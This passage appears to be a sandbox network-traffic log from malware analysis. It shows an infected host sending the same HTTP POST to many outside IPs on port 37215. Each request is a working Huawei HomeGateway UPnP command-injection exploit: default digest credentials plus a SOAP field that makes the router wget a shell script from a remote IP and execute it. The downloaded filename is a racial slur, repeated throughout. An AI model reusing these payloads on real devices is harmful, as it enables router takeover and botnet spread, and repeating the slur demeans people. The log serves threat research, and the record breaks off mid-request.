Feb 19, 2024 18:37:53.824721098 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:59.456455946 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:10.464457035 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
176	192.168.2.15	43906	94.123.136.23	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:48.305056095 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
177	192.168.2.15	36046	37.60.40.19	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:48.744971037 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
178	192.168.2.15	55940	45.33.250.87	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:48.992018938 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
179	192.168.2.15	47998	45.33.241.60	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:48.992513895 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:53.056833982 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:59.200712919 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo 